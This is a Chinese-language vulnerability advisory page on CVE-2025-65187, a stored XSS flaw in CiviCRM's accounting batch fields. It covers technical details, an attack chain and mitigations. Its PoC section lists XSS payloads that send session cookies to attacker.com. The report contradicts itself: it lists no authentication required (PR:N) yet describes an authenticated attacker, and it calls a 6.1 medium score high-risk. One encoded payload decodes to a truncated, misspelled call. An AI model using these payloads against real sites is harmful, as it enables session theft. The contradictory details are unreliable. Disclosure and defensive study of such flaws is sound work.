IPBUF安全漏洞报告
English
CVE-2025-65187 CVSS 6.1 中危

CVE-2025-65187: CiviCRM会计批次字段存储型XSS漏洞

披露日期: 2025-12-02

漏洞信息

漏洞编号
CVE-2025-65187
漏洞类型
存储型跨站脚本(Stored XSS)
CVSS评分
6.1 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
CiviCRM

相关标签

存储型XSSCiviCRMCVE-2025-65187跨站脚本会计批次Web安全认证用户漏洞

漏洞概述

CVE-2025-65187是CiviCRM中的一个高危安全漏洞,属于存储型跨站脚本(Stored Cross Site Scripting)类型。该漏洞存在于CiviCRM 6.7之前版本的会计批次(Accounting Batches)功能字段中。攻击者作为已认证用户,可以在会计批次的相关输入字段中注入恶意JavaScript代码。由于该数据会存储在后端数据库中,当其他用户访问或查看包含该恶意内容的页面时,注入的脚本代码会自动执行。这使得攻击者能够窃取受害者的会话Cookie、劫持用户账户、进行钓鱼攻击或执行其他恶意操作。由于该漏洞位于核心功能的常见入口点,潜在影响范围较广,建议受影响的用户尽快升级到修复版本。

技术细节

该存储型XSS漏洞源于CiviCRM在处理会计批次字段输入时缺乏充分的输入验证和输出编码。当用户创建或编辑会计批次记录时,系统未能对用户输入的特殊字符(如<、>、"、'等)进行适当转义或过滤,直接将原始输入存储到数据库中。随后当页面渲染这些数据时,浏览器将其作为HTML或JavaScript解析执行。攻击者可通过在会计批次名称、描述或相关文本字段中插入恶意脚本标签(如<script>alert(document.cookie)</script>或事件处理器如<img src=x onerror=...>),实现持久化的跨站脚本攻击。由于存储型XSS的攻击代码驻留在服务器端,每次有用户访问受影响页面时都会触发,无需依赖社会工程学诱导受害者点击特定链接。

攻击链分析

STEP 1
步骤1
攻击者登录CiviCRM系统,获得有效用户凭证
STEP 2
步骤2
攻击者导航至会计批次(Accounting Batches)功能模块
STEP 3
步骤3
攻击者在批次名称、描述或其他文本字段中注入恶意JavaScript代码(如<script>标签或事件处理器)
STEP 4
步骤4
系统将包含恶意代码的批次记录保存到数据库,未进行充分的输入验证或转义
STEP 5
步骤5
受害者(其他用户)访问或查看该会计批次记录页面
STEP 6
步骤6
浏览器解析页面时执行注入的恶意JavaScript,攻击者成功窃取Cookie、会话令牌或执行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CVE-2025-65187 Stored XSS PoC for CiviCRM Accounting Batches --> <!-- Authenticated user injects malicious JavaScript into Accounting Batches field --> <!-- Method 1: Script tag injection --> <script>alert('XSS - CiviCRM CVE-2025-65187');document.location='https://attacker.com/steal?cookie='+document.cookie;</script> <!-- Method 2: Image onerror event handler --> <img src=x onerror="fetch('https://attacker.com/log?data='+document.cookie)"> <!-- Method 3: SVG element injection --> <svg/onload=fetch('https://attacker.com/steal?c='+btoa(document.cookie))> <!-- Method 4: Body onload event --> <body onload="eval(atob('YWxlcnQoJ1hTUyBDVlItMjAyNS02NTE4Nyc='))"> <!-- Injection points: --> <!-- 1. Batch Name field --> <!-- 2. Batch Description field --> <!-- 3. Accounting Batch reference fields --> <!-- When victim views the page containing the batch, script executes automatically -->

影响范围

CiviCRM < 6.7

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1)禁用或限制会计批次功能的访问权限,仅允许受信任的管理员使用;2)在Web应用防火墙(WAF)层面配置规则,检测和拦截包含XSS特征的请求(如script标签、onerror等事件处理器);3)对相关页面输出实施手动HTML转义处理;4)监控日志中的异常请求模式;5)提醒用户不要点击来源不明的链接,并及时退出登录状态。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表